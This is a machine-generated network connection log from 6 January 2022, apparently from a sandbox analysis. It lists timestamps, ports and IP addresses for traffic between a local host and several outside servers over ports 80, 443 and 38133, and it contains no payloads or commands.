Jan 6, 2022 21:04:58.652008057 CET	49861	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:04:58.666078091 CET	80	49859	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:58.687011957 CET	49856	38133	192.168.2.4	86.107.197.138
Jan 6, 2022 21:04:58.698337078 CET	80	49860	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:58.698491096 CET	49860	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:58.698632002 CET	49860	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:58.698648930 CET	49860	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:58.711292028 CET	80	49861	185.7.214.239	192.168.2.4
Jan 6, 2022 21:04:58.719111919 CET	80	49861	185.7.214.239	192.168.2.4
Jan 6, 2022 21:04:58.723073006 CET	49861	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:04:58.739546061 CET	38133	49856	86.107.197.138	192.168.2.4
Jan 6, 2022 21:04:58.765563011 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:58.765738010 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:58.765769958 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:58.789849043 CET	49856	38133	192.168.2.4	86.107.197.138
Jan 6, 2022 21:04:58.830739021 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:58.875046968 CET	80	49860	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:58.875097036 CET	80	49860	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:59.250005007 CET	80	49860	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:59.250021935 CET	80	49860	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:59.250092030 CET	49860	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:59.250319958 CET	49860	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:59.276465893 CET	49862	443	192.168.2.4	67.199.248.10
Jan 6, 2022 21:04:59.276499987 CET	443	49862	67.199.248.10	192.168.2.4
Jan 6, 2022 21:04:59.276612997 CET	49862	443	192.168.2.4	67.199.248.10
Jan 6, 2022 21:04:59.277026892 CET	49862	443	192.168.2.4	67.199.248.10
Jan 6, 2022 21:04:59.277044058 CET	443	49862	67.199.248.10	192.168.2.4
Jan 6, 2022 21:04:59.330769062 CET	443	49862	67.199.248.10	192.168.2.4
Jan 6, 2022 21:04:59.330874920 CET	49862	443	192.168.2.4	67.199.248.10
Jan 6, 2022 21:04:59.333362103 CET	49862	443	192.168.2.4	67.199.248.10
Jan 6, 2022 21:04:59.333384991 CET	443	49862	67.199.248.10	192.168.2.4
Jan 6, 2022 21:04:59.333594084 CET	443	49862	67.199.248.10	192.168.2.4
Jan 6, 2022 21:04:59.334618092 CET	49862	443	192.168.2.4	67.199.248.10
Jan 6, 2022 21:04:59.376880884 CET	443	49862	67.199.248.10	192.168.2.4
Jan 6, 2022 21:04:59.428582907 CET	80	49860	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:59.455457926 CET	443	49862	67.199.248.10	192.168.2.4
Jan 6, 2022 21:04:59.455580950 CET	443	49862	67.199.248.10	192.168.2.4
Jan 6, 2022 21:04:59.455809116 CET	49862	443	192.168.2.4	67.199.248.10
Jan 6, 2022 21:04:59.455845118 CET	49862	443	192.168.2.4	67.199.248.10
Jan 6, 2022 21:04:59.455873013 CET	443	49862	67.199.248.10	192.168.2.4
Jan 6, 2022 21:04:59.455887079 CET	49862	443	192.168.2.4	67.199.248.10
Jan 6, 2022 21:04:59.455899000 CET	443	49862	67.199.248.10	192.168.2.4
Jan 6, 2022 21:04:59.478583097 CET	49863	443	192.168.2.4	67.199.248.14
Jan 6, 2022 21:04:59.478626966 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.478724003 CET	49863	443	192.168.2.4	67.199.248.14
Jan 6, 2022 21:04:59.479003906 CET	49863	443	192.168.2.4	67.199.248.14
Jan 6, 2022 21:04:59.479022980 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.537746906 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.537899017 CET	49863	443	192.168.2.4	67.199.248.14
Jan 6, 2022 21:04:59.549113035 CET	49863	443	192.168.2.4	67.199.248.14
Jan 6, 2022 21:04:59.549122095 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.549335957 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.550616026 CET	49863	443	192.168.2.4	67.199.248.14
Jan 6, 2022 21:04:59.592886925 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.663244009 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.663366079 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.663428068 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.663476944 CET	49863	443	192.168.2.4	67.199.248.14
Jan 6, 2022 21:04:59.663501978 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.663610935 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.663686037 CET	49863	443	192.168.2.4	67.199.248.14
Jan 6, 2022 21:04:59.663700104 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.663774967 CET	49863	443	192.168.2.4	67.199.248.14
Jan 6, 2022 21:04:59.663788080 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.663888931 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.663986921 CET	49863	443	192.168.2.4	67.199.248.14
Jan 6, 2022 21:04:59.664021015 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.664038897 CET	49863	443	192.168.2.4	67.199.248.14
Jan 6, 2022 21:04:59.664052963 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.664062977 CET	49863	443	192.168.2.4	67.199.248.14
Jan 6, 2022 21:04:59.664071083 CET	443	49863	67.199.248.14	192.168.2.4
Jan 6, 2022 21:04:59.692122936 CET	49864	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:59.871902943 CET	80	49864	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:59.873482943 CET	49864	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:59.875087976 CET	49864	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:59.875144005 CET	49864	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:00.054857969 CET	80	49864	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:00.431849003 CET	80	49864	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:00.431988955 CET	49864	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:00.432389021 CET	49864	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:00.470069885 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:00.611963034 CET	80	49864	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:00.649215937 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:00.649332047 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:00.649473906 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:00.869524002 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.200370073 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.200438976 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.200500011 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.200544119 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.200596094 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.200654030 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.200706005 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.200737000 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.200792074 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.200814962 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.200911045 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.200967073 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.201004982 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.201050043 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.201126099 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.380408049 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.383471012 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.383508921 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.383553028 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.383574963 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.383611917 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.383640051 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.383667946 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.383703947 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.383728981 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.383760929 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.383807898 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.383841991 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.383882046 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.383929014 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.383946896 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.384002924 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.384049892 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.384068012 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.384124041 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.384170055 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.384186029 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.384238958 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.384293079 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.384313107 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.384363890 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.384418964 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.384437084 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.384490967 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.384552956 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.564475060 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.564511061 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.564533949 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.564574957 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.569542885 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569577932 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569603920 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569627047 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.569643974 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.569658995 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569681883 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569706917 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569722891 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.569741011 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569761992 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569781065 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569789886 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.569811106 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569823027 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.569842100 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569864035 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569885015 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.569895983 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569919109 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569936991 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.569953918 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569977045 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.569997072 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.570013046 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570034981 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570049047 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.570070982 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570095062 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570106030 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.570130110 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570152044 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570166111 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.570184946 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570209026 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570229053 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.570244074 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570270061 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570285082 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.570305109 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570327044 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570341110 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.570362091 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570385933 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570400953 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.570420027 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570442915 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570456982 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.570477962 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570502043 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570514917 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.570535898 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570559025 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570570946 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.570591927 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.570631027 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.744716883 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.744736910 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.744751930 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.744770050 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.744793892 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.744813919 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753062963 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753087997 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753099918 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753115892 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753132105 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753144979 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753154039 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753175020 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753221035 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753249884 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753288031 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753312111 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753331900 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753355980 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753381014 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753402948 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753417015 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753442049 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753454924 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753475904 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753499985 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753511906 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753532887 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753556967 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753571987 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753591061 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753613949 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753628016 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753647089 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753670931 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753684044 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753703117 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753725052 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753747940 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753783941 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753788948 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753801107 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753814936 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753829002 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753844976 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753853083 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753869057 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753881931 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753897905 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753914118 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753928900 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753937960 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753952026 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753967047 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.753974915 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.753990889 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.754004955 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.754014015 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.754028082 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.754045010 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.754053116 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.754070044 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.754081011 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.754091978 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.754106998 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.754122019 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.754129887 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.754144907 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.754164934 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.754169941 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.754204988 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.754244089 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.754267931 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.754290104 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.754312038 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.805763006 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.925136089 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.925165892 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.925188065 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.925210953 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.925270081 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.925332069 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.932750940 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.932781935 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.932872057 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.933657885 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.933682919 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.933706045 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.933729887 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.933734894 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.933763981 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.933773041 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.933788061 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.933809996 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.933830976 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.933856010 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.933877945 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.933900118 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.933913946 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.933924913 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.933945894 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.933950901 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.933967113 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.933990002 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934004068 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934011936 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934034109 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934035063 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934056997 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934078932 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934081078 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934101105 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934123993 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934125900 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934144974 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934166908 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934182882 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934189081 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934221983 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934226036 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934243917 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934263945 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934273958 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934286118 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934305906 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934309006 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934326887 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934346914 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934350014 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934366941 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934386969 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934405088 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934427977 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934448957 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934453011 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934470892 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934492111 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934497118 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934514046 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934535980 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934540987 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934551954 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934573889 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934578896 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934595108 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934616089 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.934623957 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.934663057 CET	49865	80	192.168.2.4	198.11.172.78
